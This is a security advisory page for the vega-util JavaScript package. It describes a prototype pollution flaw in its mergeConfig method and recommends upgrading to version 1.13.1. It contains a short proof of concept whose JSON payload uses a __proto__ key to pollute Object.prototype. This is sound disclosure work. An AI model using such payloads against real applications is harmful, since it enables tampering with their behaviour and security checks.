vega-util@1.2.1 vulnerabilities

JavaScript utilities for Vega.

Direct Vulnerabilities

Known vulnerabilities in the vega-util package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

vega-util is a JavaScript utilities package for Vega.

Affected versions of this package are vulnerable to Prototype Pollution. The vega.mergeConfig method within vega-util could be tricked into adding or modifying properties of Object.prototype.

PoC by Snyk

var util = require('vega-util')
var config = '{style: {point: {shape: triangle-right}}}'
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';

  var c = util.mergeConfig(
    config,
    JSON.parse(malicious_payload)
  );
console.log({}.vulnerable);

How to fix Prototype Pollution?

Upgrade vega-util to version 1.13.1 or higher.

<1.13.1